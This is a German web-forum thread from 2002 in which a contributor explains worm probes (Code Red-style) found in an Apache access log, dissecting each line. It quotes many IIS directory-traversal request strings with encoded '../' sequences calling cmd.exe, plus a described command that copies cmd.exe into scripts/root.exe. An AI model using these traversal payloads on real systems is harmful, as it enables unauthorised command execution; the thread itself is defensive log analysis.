Alexander Foken: Apache sicher machen

Beitrag lesen

Moin Moin !

Hi..

Laß mich raten: blablabla/../../winnt/cmd.exe?blablabla im Error_Log ?

Ja...genau..

Ansonsten poste doch einfach mal ein paar "verdächtige" Zeilen aus den Logfiles.

Es ist Code Red oder ähnliches. Ziel dieser Würmer sind schlecht installierte IIS (Standard-Installation) auf Windows-Systemen. Apache und Netscape Enterprise / iPlanet sind nicht betroffen, andere Plattformen ebenfalls nicht.

,

Hier:
80.128.181.26 - - [01/Dec/2002:13:42:28 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 278

Ich zerleg' die einfach mal:

80.128.181.26 <-- der "Bösewicht" (präzieser: Client)

    • <-- Angaben, die der Apache nicht machen kann oder will (das genaue Format steht in der httpd.conf)
      [01/Dec/2002:13:42:28 +0100] <-- genauer Zeitpunkt mit Zeitzonenangabe (+0100, d.h. Du sitzt wohl irgendwo in der Zeitzone, die u.a. in Deutschland gilt)
      "GET /scripts/root.exe?/c+dir HTTP/1.0" <-- Der genaue Request, zerlege ich gleich
      404 <-- HTTP-Statuscode: 404 Not Found
      278 <-- 278 Bytes Daten (plus Header) an den Client übermittelt (das dürfte die 404-Meldung sein)

GET <-- Standard-Methode für HTTP-Requests, Query-Parameter in der Request-Zeile
/scripts/root.exe <-- Dieses Dokument oder Programm soll es sein
? <-- Trennt Dokument oder Programm von den Query-Parametern
/c+dir <-- Parameter, das "+" wird im Aufruf des Programms zu einem Space (" ") dekodiert.
HTTP/1.0 <-- Das Protokoll-Format.

Der Angreifer hofft, daß /scripts/root.exe existiert (/scripts/ müßte ein ScriptAlias sein), und versucht diese EXE-Datei (ein dorthin kopiertes cmd.exe) mit dem Parameter "/c dir" aufzurufen. Kaum mehr als ein "Ping".

80.128.181.26 - - [01/Dec/2002:13:42:29 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 276

Das gleiche nochmal in einem anderen Verzeichnis ...

80.128.181.26 - - [01/Dec/2002:13:42:30 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 286
80.128.181.26 - - [01/Dec/2002:13:42:34 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 286

Nochmal für C: und D:, für alle Fälle ...

80.128.181.26 - - [01/Dec/2002:13:42:36 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 300

Ein anderer Bug des IIS: %255c wird gelegentlich falsch Decodiert und voila: Zugriff auf alle Platten. Den Apache stört das überhaupt nicht.

80.128.181.26 - - [01/Dec/2002:13:42:37 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 317

Das Gleiche nochmal für _vti_bin, das müßte ein Teil der Frontpage-Extensions sein.

80.128.181.26 - - [01/Dec/2002:13:42:39 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 317

Ebenso.

80.128.181.26 - - [01/Dec/2002:13:42:40 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333

Nochmal.

80.128.181.26 - - [01/Dec/2002:13:42:41 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299
80.128.181.26 - - [01/Dec/2002:13:42:42 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299
80.128.181.26 - - [01/Dec/2002:13:42:43 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299
80.128.181.26 - - [01/Dec/2002:13:42:44 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299
80.128.181.26 - - [01/Dec/2002:13:42:45 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 283
80.128.181.26 - - [01/Dec/2002:13:42:46 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 283
80.128.181.26 - - [01/Dec/2002:13:42:47 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 300
80.128.181.26 - - [01/Dec/2002:13:42:48 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 300

Langsam wird's langweilig, oder ?

Gelegentlich (d.h. wenn diese "Pings" 200 OK zurückliefern und damit ein angreifbarer IIS gefunden ist) kommt auch mal "cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\root.exe", damit die Umständliche Suche nach cmd.exe für den Angreifer ein Ende hat. Die nächsten Zeilen gehen dann über "/scripts/root.exe?/c+......" (mit ....=böser Code).

´Danke, sven
muss ich mir also keine Sorgen machen?

Nein, nicht, wenn Du den Apache benutzt und sauber konfiguriert hast (z.B. die Default-Konfiguration).

Wenn dich die Einträge im error-log stören, leg ein *VERZEICHNIS* "scripts/root.exe/" innerhalb des htdocs-Verzeichnis an. Der Apache liefert dann ein leeres Verzeichnislisting mit Status 200 zurück, trotzdem geht der Angriff ins Leere. (Und im error-log kommt etwas mehr vom Angriff ans Tageslicht).

Alexander

--
<!--#include file="signature.html" -->